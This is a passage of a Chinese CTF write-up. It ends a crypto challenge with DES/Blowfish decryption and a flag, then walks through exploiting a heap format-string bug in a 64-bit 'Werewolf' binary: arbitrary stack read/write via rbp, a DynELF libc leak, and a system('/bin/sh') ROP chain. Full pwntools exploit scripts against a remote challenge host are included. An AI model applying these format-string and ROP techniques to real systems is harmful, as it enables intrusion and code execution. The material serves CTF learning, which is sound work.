    [1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1],
    [1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1],
    [0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1],
    [1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1],
    [1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1],
    [0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1],
    [0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0],
    [1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0],
    [1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0],
    [1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0],
    [1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0],
    [1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1],
    [0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1],
    [1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1],
    [0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1],
    [0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1]
]

DES.setMode(ECB)
correct=[
'\x4d',
'\x6a',
'\x20',
'\x9b',
'\xf3',
'\x3e',
'\x6b',
'\x7b',
'\x9e',
'\x80',
'\xc0',
'\x8c',
'\x21',
'\x5d',
'\x8a',
'\xe9',
'\xf7',
'\x9d',
'\x82',
'\xc5',
'\x28',
'\xaf',
'\x63',
'\x1c',
'\xcd',
'\xc1',
'\xf6',
'\xba',
'\xa0',
'\xd3',
'\x70',
'\x8d',
]
#DES.encrypt(code)==correct
code = DES.encrypt(correct)
from Crypto.Cipher import Blowfish
import base64

def decrypt(deskey):
    key= deskey+code
    cipher = Blowfish.new(key, Blowfish.MODE_ECB)
    print cipher.decrypt(base64.b64decode("fxd+VFDXF6lksUAwcB1CMco6fnKqrQcO5nxS/hv3FtN7ngETu95BkjDn/ar+KD+RbmTHximw03g="))

解密成功

通过输出可以明显看出,kn还原出来的key是CodinGay,最后flag

flag{R1p0s4Riposa_**_che_ha1_cr34t0}

pwn

确定程序漏洞

看下保护

老规矩,先看下程序开启的保护和试着运行一下

ida看看

这里我重命名了某些函数名字,主要看show函数

主函数

经典的增删改查4个功能,这里我们需要注意一下,如果输入5,退出时是exit的,这个地方很坑爹,等会后面会提到

add函数

这里要注意,我们的输入都是放到堆上的,所以等会进行格式化字符串攻击的时候就会麻烦点

show函数

看到第二个printf,他的参数指向的就是我们add的时候输入的role的action,是在堆上

尝试一:劫持栈帧到堆上

以前做过的格式化字符串漏洞的pwn题都是在栈上的,第一次做在堆上的格式化字符串,首先想到的是ctf wiki上有个堆的格式化字符串漏洞的例子

https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_example.html#id23

这里,他就是通过stack privot,修改ebp把栈劫持到堆上,我按他这样尝试了很久,发现有几个问题

  • 他的是32位,我们题目给的是64位
  • 他的可以直接从栈上泄漏堆的地址,我们无从泄漏!!!我想了很久也没找到办法,当然后面想了个骚思路通过改进后,可以任意地址读写,不过那是后话了
  • 他的从菜单输入5后,程序是正常return退出的,我们的直接exit了,对,就是上面ida主函数看到的那个,直接exit,这也是致命的一点,导致不能把栈劫持到堆上

尝试二:在栈上布置跳板

不能劫持栈到堆后,思想一度jiang化,n个小时思考后,终于想到一个骚思路

用rbp做跳板

我们知道,格式化符%s,%n都是取的地址,即把这个数当成一个指针来操作的

那么既然我们可以修改栈上的rbp值,那么我们可以把rbp的值修改为一个指针,然后以rbp做跳板,去实现任意地址读写

通过gdb调试,我们发现这里rbp是在格式化字符串的第14个偏移,同时第12个偏移上的值是一个指向14偏移处的指针,那么我们这里就通过12偏移的指针修改14偏移处的rbp,将他指向我们想要的地址,考虑到64位用8位bit代表一个地址,用%lln写8字节肯定不行,会卡死,用%n写4个字节又太慢,这里我们应该选择用%hn和%hhn,为了减少写的次数,我们就只改变rbp的低位,使他指向栈上我们想要的地方,这里我选择在rbp的栈下方来写入我们的数据

改变rbp的低位,我们首先得泄漏rbp的值

这里Add函数和show函数还有等会出现的edit函数,就是实现了ELF的菜单里那几个功能而已,有疑惑的可以看最后贴出来的完整源码,文章中只贴出部分源码

# get stack addr
Add(100, '<<>>%12$p')
show(0, '<<>>')
rbp_addr = int(sh.recvuntil('\n').strip()[2:], 16)
low_bit = int(hex(rbp_addr)[-4:], 16)
log.success('get rbp addr: ' + hex(rbp_addr))

实现栈上任意写

我们每次用%hn写入两字节。这里每次写入两字节后,再改变rbp的值使其减2,指向下两个字节。参数offset_to_rbp就是相对于rbp的偏移量,addr就是希望写入的内容,是一个整型值

def write_stack(addr, offset_to_rbp):
    # write addr in rbp + (offset_to_rbp * 8)
    addr_1_2_bit = int(hex(addr)[2:].zfill(16)[12:16], 16)
    addr_3_4_bit = int(hex(addr)[2:].zfill(16)[8:12], 16)
    addr_5_6_bit = int(hex(addr)[2:].zfill(16)[4:8], 16)
    addr_7_8_bit = int(hex(addr)[2:].zfill(16)[0:4], 16)

    fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 6) + 'x%12$hn<<>>'
    if addr_7_8_bit:
        fmt_2 = '%' + str(addr_7_8_bit) + 'x%14$hn<<>>'
    else:
        fmt_2 = '%14$hn<<>>'
    Edit(0, fmt_1)
    show(0, '<<>>')
    Edit(0, fmt_2)
    show(0, '<<>>')
    # log.success('write %s 7th and 8th bit success' % hex(addr))

    fmt_3 = '%' + str(low_bit + (offset_to_rbp * 8) + 4) + 'x%12$hn<<>>'
    if addr_5_6_bit:
        fmt_4 = '%' + str(addr_5_6_bit) + 'x%14$hn<<>>'
    else:
        fmt_4 = '%14$hn<<>>'
    Edit(0, fmt_3)
    show(0, '<<>>')
    Edit(0, fmt_4)
    show(0, '<<>>')
    # log.success('write %s 5th and 6th bit success' % hex(addr))

    fmt_5 = '%' + str(low_bit + (offset_to_rbp * 8) + 2) + 'x%12$hn<<>>'
    if addr_3_4_bit:
        fmt_6 = '%' + str(addr_3_4_bit) + 'x%14$hn<<>>'
    else:
        fmt_6 = '%14$hn<<>>'
    Edit(0, fmt_5)
    show(0, '<<>>')
    Edit(0, fmt_6)
    show(0, '<<>>')
    # log.success('write %s 3th and 4th bit success' % hex(addr))

    fmt_7 = '%' + str(low_bit + (offset_to_rbp * 8)) + 'x%12$hn<<>>'
    if addr_1_2_bit:
        fmt_8 = '%' + str(addr_1_2_bit) + 'x%14$hn<<>>'
    else:
        fmt_8 = '%14$hn<<>>'
    Edit(0, fmt_7)
    show(0, '<<>>')
    Edit(0, fmt_8)
    show(0, '<<>>')
    # log.success('write %s 1th and 2th bit success' % hex(addr))

    # log.success('write %s in offset %s to rbp success' % (hex(addr), str(offset_to_rbp)))

还有一个指的注意的地方是,开始我是从低位写到高位,老是失败,gdb一顿调试后,发现用%n,%hn,%hhn这些东西向我们rbp指向的地址写入对应一定字节后,会在后面再覆盖4个bit为2,用hex表示就是0x00000002,比如这里我往0x15010+6的位置写入0x0000,也就是0x15010位置的高2个bit, 他后面的8个hex(4bit)就变成了,0000 0002,也就是把0x400d70变成了0x20d70,这点我很困惑,从来没看到说用%hn等覆盖的时候还会往后面最追加一个4bit的2的说法,有知道为什么的大佬一定要告诉我

鉴于用%hn覆盖时会改变后面几位的问题,我们可以通过从高往低写的办法解决,就像上面代码一样

实现任意地址读取

这里我们实现一个leak函数,也是通过rbp做跳板,在栈上布置指针,然后通过%s打印指针指向的位置上的内容

def leak(leak_addr, offset_to_rbp=7):
    write_stack(leak_addr, offset_to_rbp)
    Edit(0, '<<>>%' + str(14 + offset_to_rbp) + '$s<<>>')
    show(0, '<<>>')
    leak_data = sh.recvuntil('<<>>').strip('<<>>')
    while True:
        if not len(leak_data) < 8:
            break
        leak_data = leak_data + '\x00'
        write_stack(leak_addr + len(leak_data), offset_to_rbp)
        Edit(0, '<<>>%' + str(14 + offset_to_rbp) + '$s<<>>')
        show(0, '<<>>')
        new_data = sh.recvuntil('<<>>').strip('<<>>')
        leak_data = leak_data + new_data
    leak_data = leak_data[:8]
    log.success("[%s] -> [%s] = [%s]" %
                (hex(leak_addr), leak_data.encode("hex"), repr(leak_data)))
    # gdb.attach(sh, 'b *0x0400B1B')
    return leak_data

用printf和puts函数来泄漏任意地址内容时,又一个致命缺点,遇到'\x00'会截断,所以一般格式化字符串的题泄漏都是用write函数,但是这里got里面连write都没有怎么搞,所以这里我捣鼓了几小时,用遇到截断后再次读取下一位地址,知道满8字节为止,从而解决了这个问题

尝试三:泄漏libc

我们已经拥有了任意地址读写的能力,但是官方没给libc文件,下一步自然是想办法获取libc地址,从而得到system的地址,(这里在elf文件中找不到execve(“/bin/sh”,NULL,NULL)需要的gadget)

libc数据库(失败)

这里我们使用LibcSearcher,关于安装使用,可以看github

https://github.com/lieanu/LibcSearcher

然后栈上是有__libc_start_main_ret的,在第19偏移处,所以可以用这个来得到搜索libc

# get libc addr
Add(100, '<<>>%19$p')
show(0, '<<>>')
libc_start_main_ret = int(sh.recvuntil('\n').strip()[2:], 16)
log.success('get libc_start_main_ret addr: ' + hex(libc_start_main_ret))
libc = LibcSearcher('__libc_start_main_ret', libc_start_main_ret)
libc_base = libc_start_main_ret - libc.dump('__libc_start_main_ret')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
log.success('get system addr: ' + hex(system_addr))
log.success('get binsh addr: ' + hex(binsh_addr))

用这个在“本地”确实可以拿到正确的system地址,因为我把我kali的/lib/x86_64-linux-gnu/libc.so.6,通过elf文件add加入到他的数据库里面去了,当我本地成功拿到shell后,兴高采烈的去服务器拿shell时,怎么都不成功,思来想去,各种调试后,只能想到一个原因,服务器的libc文件不在数据库里面,而我们更新了最新的libc数据库也没有,然后我尝试读取got表函数的地址去找,多个函数地址一起找,都找不到正确的libc。这里我一时以为get shell姿势错了,于是先后尝试用rop来get shell,修改atoi函数的got来get shell等等,写了几种不同get shell的脚本,本地都能成功,服务器就是不行,浪费了我很多时间,真的想痛扁出题人一顿,既然LibcSearcher找不到对应的libc,那么给个libc不行么

DynELF

然后自然想到用pwntools的DynELF工具,这也是这题我认为最坑的地方,说多了都是泪

上面实现任意地址读取的leak函数就是在使用DynELF时写的,然后用pwntools的DynELF,我们就可以解决system的地址

# dynelf
dynelf = DynELF(leak, elf=ELF('./Werewolf'))
system_addr = dynelf.lookup('system', 'libc')
log.success('get system addr: ' + hex(system_addr))

然后就是最坑的地方,上面这样leak的话本地能成功,但是远程还是不行,原因是计时器时间到了,程序退出了,就是main函数开始这个东西

56s!!!你咋不给1s呢,这leak在本地leak都得半分钟,服务器不leak个几分钟leak不出来的,于是开始尝试如何减少leak的时间

%n & %hn & %hhn

开始尝试更换每次写入的字节数,看能不能减少每次leak的时间,最后我尝试了每次写入4字节,2字节,1字节,发现还是每次写2字节即%hn最快,但是他在56s的时间也只能泄漏可能3,4个左右的地址,然后程序就退出了

####手工预测DynELF

对,我最后实在走投无路了,但是这题都肝了两天了,做不出来太可惜了,所以还是硬着头皮,通过观察DynELF的规律,预测他下一次要泄漏的地址和值,然后leak时直接返回,这样就可以节省很多时间了,然后我本地leak了一下,看了下DynELF一共leak了好几十个地址,我就

然后头铁,用了几个小时边运行边写,一个一个存到python的字典里面,每次leak先判断,如果在的话就直接返回,写了几十个进dic后,终于拿到了正确的system地址,这部分代码写的比较乱,放到最后,感兴趣的可以看看,估计也不算预期解法

get shell

#####rop

刚开始我用LibcSearcher的时候,直接dump下system和binsh字符串的地址,然后找gadget找到一个pop rdi ,ret的gadget,所以我在栈上布置rop,在本地可以成功get shell,但是最后远程还是不行,就是因为LibcSearcher找不到正确的libc,system地址是错的,最后通过DynELF拿到正确的system地址,但是binsh字符串地址不能通过DynELF拿到,那么我们在栈上自己写,然后再搞个指针指向他就完事了

# make ROP : pop_rdi -> binsh -> system

# write system addr in rbp + (3 * 8)
write_stack(system_addr, 3)

# write binsh addr in rbp + (2 * 8)
binsh = int('/bin/sh'[::-1].encode('hex'), 16)
write_stack(binsh, 8)
binsh_addr = rbp_addr + (8 * 8)
write_stack(binsh_addr, 2)

# check if succuss
Edit(0, '<<>>%15$p<<>>%16$p<<>>%17$p<<>>')
show(0, '<<>>')
ret_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
changed_binsh_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
changed_system_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
assert changed_binsh_addr == binsh_addr
assert changed_system_addr == system_addr
log.success('binsh and system is ready')
log.success('ret addr: ' + hex(ret_addr))


# write pop_rdi addr low bits in rbp + (1 * 8)

# change low bits
assert abs(ret_addr - pop_rdi_addr) < 0xffff
fmt_1 = '%' + str(low_bit + (1 * 8)) + 'x%12$hn<<>>'
fmt_2 = '%' + str(pop_rdi_addr & 0xffff) + 'x%14$hn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
log.success('write pop_rdi addr success')

sh.interactive()

修改GOT

这里可以通过修改atoi的got拿shell也是可以的,当然最后我是通过rop的方式拿的shell,这里就不贴出修改GOT的代码了

最后,上完整exp

远程服务器利用成功版,每次写2字节

from pwn import *
from LibcSearcher import *


context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
debug = False
elf = ELF('./Werewolf')
pop_rdi_addr = 0x0000000000400dd3

if not debug:
    sh = remote('106.75.72.91', 20000)
else:
    sh = process('./Werewolf')

# gdb.attach(sh, 'b *0x0400B1B')

elf_dic = {
    '0x400000': '\x7fELF\x02\x01\x01\x00',
    '0x601e20': '\x01\x00\x00\x00\x00\x00\x00\x00',
    '0x601e30': '\x0c\x00\x00\x00\x00\x00\x00\x00',
    '0x601e40': '\r\x00\x00\x00\x00\x00\x00\x00',
    '0x601e50': '\x19\x00\x00\x00\x00\x00\x00\x00',
    '0x601e60': '\x1b\x00\x00\x00\x00\x00\x00\x00',
    '0x601e70': '\x1a\x00\x00\x00\x00\x00\x00\x00',
    '0x601e80': '\x1c\x00\x00\x00\x00\x00\x00\x00',
    '0x601e90': '\xf5\xfe\xffo\x00\x00\x00\x00',
    '0x601ea0': '\x05\x00\x00\x00\x00\x00\x00\x00',
    '0x601eb0': '\x06\x00\x00\x00\x00\x00\x00\x00',
    '0x601ec0': '\n\x00\x00\x00\x00\x00\x00\x00',
    '0x601ed0': '\x0b\x00\x00\x00\x00\x00\x00\x00',
    '0x601ee0': '\x15\x00\x00\x00\x00\x00\x00\x00',
    '0x601ef0': '\x03\x00\x00\x00\x00\x00\x00\x00',
    '0x601ef8': '\x00 `\x00\x00\x00\x00\x00',
}


def Add(len, action):
    sh.recvuntil('5.Exit\n')
    sh.sendline('1')
    sh.recvuntil('size:\n')
    sh.sendline(str(len))
    sh.recvuntil('action:\n')
    sh.sendline(action)
    sh.recvuntil('role!\n')


def Edit(id, action):
    sh.recvuntil('5.Exit\n')
    sh.sendline('3')
    sh.recvuntil('id\n')
    sh.sendline(str(id))
    sh.recvuntil('action\n')
    sh.sendline(action)
    sh.recvuntil('========')


def show(id, flag=None):
    sh.recvuntil('5.Exit\n')
    sh.sendline('2')
    sh.recvuntil('id\n')
    sh.sendline(str(id))
    if flag:
        sh.recvuntil(flag)


def write_stack(addr, offset_to_rbp):
    # write addr in rbp + (offset_to_rbp * 8)
    addr_1_2_bit = int(hex(addr)[2:].zfill(16)[12:16], 16)
    addr_3_4_bit = int(hex(addr)[2:].zfill(16)[8:12], 16)
    addr_5_6_bit = int(hex(addr)[2:].zfill(16)[4:8], 16)
    addr_7_8_bit = int(hex(addr)[2:].zfill(16)[0:4], 16)

    fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 6) + 'x%12$hn<<>>'
    if addr_7_8_bit:
        fmt_2 = '%' + str(addr_7_8_bit) + 'x%14$hn<<>>'
    else:
        fmt_2 = '%14$hn<<>>'
    Edit(0, fmt_1)
    show(0, '<<>>')
    Edit(0, fmt_2)
    show(0, '<<>>')
    # log.success('write %s 7th and 8th bit success' % hex(addr))

    fmt_3 = '%' + str(low_bit + (offset_to_rbp * 8) + 4) + 'x%12$hn<<>>'
    if addr_5_6_bit:
        fmt_4 = '%' + str(addr_5_6_bit) + 'x%14$hn<<>>'
    else:
        fmt_4 = '%14$hn<<>>'
    Edit(0, fmt_3)
    show(0, '<<>>')
    Edit(0, fmt_4)
    show(0, '<<>>')
    # log.success('write %s 5th and 6th bit success' % hex(addr))

    fmt_5 = '%' + str(low_bit + (offset_to_rbp * 8) + 2) + 'x%12$hn<<>>'
    if addr_3_4_bit:
        fmt_6 = '%' + str(addr_3_4_bit) + 'x%14$hn<<>>'
    else:
        fmt_6 = '%14$hn<<>>'
    Edit(0, fmt_5)
    show(0, '<<>>')
    Edit(0, fmt_6)
    show(0, '<<>>')
    # log.success('write %s 3th and 4th bit success' % hex(addr))

    fmt_7 = '%' + str(low_bit + (offset_to_rbp * 8)) + 'x%12$hn<<>>'
    if addr_1_2_bit:
        fmt_8 = '%' + str(addr_1_2_bit) + 'x%14$hn<<>>'
    else:
        fmt_8 = '%14$hn<<>>'
    Edit(0, fmt_7)
    show(0, '<<>>')
    Edit(0, fmt_8)
    show(0, '<<>>')
    # log.success('write %s 1th and 2th bit success' % hex(addr))

    # log.success('write %s in offset %s to rbp success' % (hex(addr), str(offset_to_rbp)))


def leak(leak_addr, offset_to_rbp=7):
    if hex(leak_addr) in elf_dic:
        print "done '%s' : %s," % (hex(leak_addr), repr(elf_dic[hex(leak_addr)]))
        return elf_dic[hex(leak_addr)]
    write_stack(leak_addr, offset_to_rbp)
    Edit(0, '<<>>%' + str(14 + offset_to_rbp) + '$s<<>>')
    show(0, '<<>>')
    leak_data = sh.recvuntil('<<>>').strip('<<>>')
    while True:
        if not len(leak_data) < 8:
            break
        leak_data = leak_data + '\x00'
        write_stack(leak_addr + len(leak_data), offset_to_rbp)
        Edit(0, '<<>>%' + str(14 + offset_to_rbp) + '$s<<>>')
        show(0, '<<>>')
        new_data = sh.recvuntil('<<>>').strip('<<>>')
        leak_data = leak_data + new_data
    leak_data = leak_data[:8]
    # log.success("[%s] -> [%s] = [%s]" % (hex(leak_addr), leak_data.encode("hex"), repr(leak_data)))
    # gdb.attach(sh, 'b *0x0400B1B')
    if leak_addr == 0x602008:
        addr_0x602008 = int(leak_data[::-1].encode('hex'), 16)
        tmp = addr_0x602008 + 0x20
        elf_dic[hex(tmp)] = '\x00\x00\x00\x00\x00\x00\x00\x00'
        tmp = tmp - 0x18
        elf_dic[hex(tmp)] = hex(tmp + 1416)[2:].zfill(16).decode('hex')[::-1]
        elf_dic[hex(int(elf_dic[hex(tmp)][::-1].encode('hex'), 16))] = '\x00\x00\x00\x00\x00\x00\x00\x00'
        tmp = int(elf_dic[hex(tmp)][::-1].encode('hex'), 16)
        elf_dic[hex(tmp - 1400)] = hex(tmp + 8)[2:].zfill(16).decode('hex')[::-1]
        tmp = tmp + 0x10
        elf_dic[hex(tmp)] = hex(tmp - 1160)[2:].zfill(16).decode('hex')[::-1]
        tmp = tmp - 1160
        elf_dic[hex(tmp)] = '`\x1e`\x00\x00\x00\x00\x00'
        tmp = tmp + 1160 + 0x10
        elf_dic[hex(tmp)] = hex(tmp - 12888)[2:].zfill(16).decode('hex')[::-1]
        tmp = tmp - 12888 + 0x8
        elf_dic[hex(tmp)] = hex(tmp - 40)[2:].zfill(16).decode('hex')[::-1]
        tmp = tmp - 40
        elf_dic[hex(tmp)] = '/lib/x86'
        tmp = tmp + 8
        elf_dic[hex(tmp)] = '_64-linu'
        tmp = tmp + 8
        elf_dic[hex(tmp)] = 'x-gnu/li'
        tmp = tmp + 8
        elf_dic[hex(tmp)] = 'bc.so.6\x00'
        tmp = tmp + 8
        elf_dic[hex(tmp)] = hex(tmp - 6218944)[2:].zfill(16).decode('hex')[::-1]
        tmp = tmp - 6218944
        elf_dic[hex(tmp)] = '\x7fELF\x02\x01\x01\x03'
        tmp = tmp + 6218944 + 0x10
        elf_dic[hex(tmp)] = hex(tmp - 2271536)[2:].zfill(16).decode('hex')[::-1]
        tmp = tmp - 2271536
        elf_dic[hex(tmp)] = '\x01\x00\x00\x00\x00\x00\x00\x00'
        tmp = tmp + 0x10
        elf_dic[hex(tmp)] = '\x0e\x00\x00\x00\x00\x00\x00\x00'
        tmp = tmp + 0x10
        elf_dic[hex(tmp)] = '\x0c\x00\x00\x00\x00\x00\x00\x00'
        tmp = tmp + 0x10
        elf_dic[hex(tmp)] = '\x19\x00\x00\x00\x00\x00\x00\x00'
        tmp = tmp + 0x10
        elf_dic[hex(tmp)] = '\x1b\x00\x00\x00\x00\x00\x00\x00'
        tmp = tmp + 0x10
        elf_dic[hex(tmp)] = '\x04\x00\x00\x00\x00\x00\x00\x00'
        tmp = tmp + 0x10
        elf_dic[hex(tmp)] = '\xf5\xfe\xffo\x00\x00\x00\x00'
        tmp = tmp + 0x10
        elf_dic[hex(tmp)] = '\x05\x00\x00\x00\x00\x00\x00\x00'
        tmp = tmp + 0x10
        elf_dic[hex(tmp)] = '\x06\x00\x00\x00\x00\x00\x00\x00'
        tmp = tmp + 0x10
        elf_dic[hex(tmp)] = '\n\x00\x00\x00\x00\x00\x00\x00'
        tmp = tmp + 0x10
        elf_dic[hex(tmp)] = '\x0b\x00\x00\x00\x00\x00\x00\x00'
        tmp = tmp + 0x10
        elf_dic[hex(tmp)] = '\x03\x00\x00\x00\x00\x00\x00\x00'
        tmp = tmp + 0x8
        elf_dic[hex(tmp)] = hex(tmp + 936)[2:].zfill(16).decode('hex')[::-1]
        tmp = tmp - 3947592
        elf_dic[hex(tmp)] = '\x03\x00\x00\x00\x01\x00\x00\x00'
        tmp = tmp + 3948536
        elf_dic[hex(tmp)] = hex(tmp + 2270392)[2:].zfill(16).decode('hex')[::-1]
        tmp = tmp + 2270424
        elf_dic[hex(tmp)] = hex(tmp + 12832)[2:].zfill(16).decode('hex')[::-1]
        tmp = tmp + 12864
        elf_dic[hex(tmp)] = hex(tmp - 1464)[2:].zfill(16).decode('hex')[::-1]
        tmp = tmp - 6231456
        elf_dic[hex(tmp)] = 'D\x00\x00\x00\x00\x00\x00\x00'
        tmp = tmp + 3947144
        elf_dic[hex(tmp)] = hex(tmp - 3946832)[2:].zfill(16).decode('hex')[::-1]
        tmp = tmp + 0x10
        elf_dic[hex(tmp)] = hex(tmp - 3877920)[2:].zfill(16).decode('hex')[::-1]
        tmp = tmp + 0x10
        elf_dic[hex(tmp)] = hex(tmp - 3931816)[2:].zfill(16).decode('hex')[::-1]
        tmp = tmp - 3946864
        elf_dic[hex(tmp)] = '\xf3\x03\x00\x00\n\x00\x00\x00'
        tmp = tmp + 0x8
        elf_dic[hex(tmp)] = '\x00\x01\x00\x00\x0e\x00\x00\x00'
        tmp = tmp + 4560
        elf_dic[hex(tmp)] = 'G\x05\x00\x00I\x05\x00\x00'
        tmp = tmp + 6904
        elf_dic[hex(tmp)] = '\x8a\xe4\xee\x1c\x1b\x05\xa3\x96'
    print "'%s' : %s," % (hex(leak_addr), repr(leak_data))
    return leak_data


# get stack addr
Add(100, '<<>>%12$p')
show(0, '<<>>')
rbp_addr = int(sh.recvuntil('\n').strip()[2:], 16)
low_bit = int(hex(rbp_addr)[-4:], 16)
log.success('get rbp addr: ' + hex(rbp_addr))

# dynelf
dynelf = DynELF(leak, elf=elf)
system_addr = dynelf.lookup('system', 'libc')
log.success('get system addr: ' + hex(system_addr))


# make ROP : pop_rdi -> binsh -> system

# write system addr in rbp + (3 * 8)
write_stack(system_addr, 3)

# write binsh addr in rbp + (2 * 8)
binsh = int('/bin/sh'[::-1].encode('hex'), 16)
write_stack(binsh, 8)
binsh_addr = rbp_addr + (8 * 8)
write_stack(binsh_addr, 2)

# check if succuss
Edit(0, '<<>>%15$p<<>>%16$p<<>>%17$p<<>>')
show(0, '<<>>')
ret_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
changed_binsh_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
changed_system_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
assert changed_binsh_addr == binsh_addr
assert changed_system_addr == system_addr
log.success('binsh and system is ready')
log.success('ret addr: ' + hex(ret_addr))


# write pop_rdi addr low bits in rbp + (1 * 8)

# change low bits
assert abs(ret_addr - pop_rdi_addr) < 0xffff
fmt_1 = '%' + str(low_bit + (1 * 8)) + 'x%12$hn<<>>'
fmt_2 = '%' + str(pop_rdi_addr & 0xffff) + 'x%14$hn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
log.success('write pop_rdi addr success')

sh.interactive()

本地利用版本,每次写入1字节版

from pwn import *


context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
debug = True
elf = ELF('./Werewolf')
pop_rdi_addr = 0x0000000000400dd3

if not debug:
    sh = remote('106.75.72.91', 20000)
else:
    sh = process('./Werewolf')

# gdb.attach(sh, 'b *0x0400B1B')


def Add(len, action):
    sh.recvuntil('5.Exit\n')
    sh.sendline('1')
    sh.recvuntil('size:\n')
    sh.sendline(str(len))
    sh.recvuntil('action:\n')
    sh.sendline(action)
    sh.recvuntil('role!\n')


def Edit(id, action):
    sh.recvuntil('5.Exit\n')
    sh.sendline('3')
    sh.recvuntil('id\n')
    sh.sendline(str(id))
    sh.recvuntil('action\n')
    sh.sendline(action)
    sh.recvuntil('========')


def show(id, flag=None):
    sh.recvuntil('5.Exit\n')
    sh.sendline('2')
    sh.recvuntil('id\n')
    sh.sendline(str(id))
    if flag:
        sh.recvuntil(flag)


def write_stack(addr, offset_to_rbp):
    # write addr in rbp + (offset_to_rbp * 8)
    addr_1_bit = int(hex(addr)[2:].zfill(16)[14:16], 16)
    addr_2_bit = int(hex(addr)[2:].zfill(16)[12:14], 16)
    addr_3_bit = int(hex(addr)[2:].zfill(16)[10:12], 16)
    addr_4_bit = int(hex(addr)[2:].zfill(16)[8:10], 16)
    addr_5_bit = int(hex(addr)[2:].zfill(16)[6:8], 16)
    addr_6_bit = int(hex(addr)[2:].zfill(16)[4:6], 16)
    addr_7_bit = int(hex(addr)[2:].zfill(16)[2:4], 16)
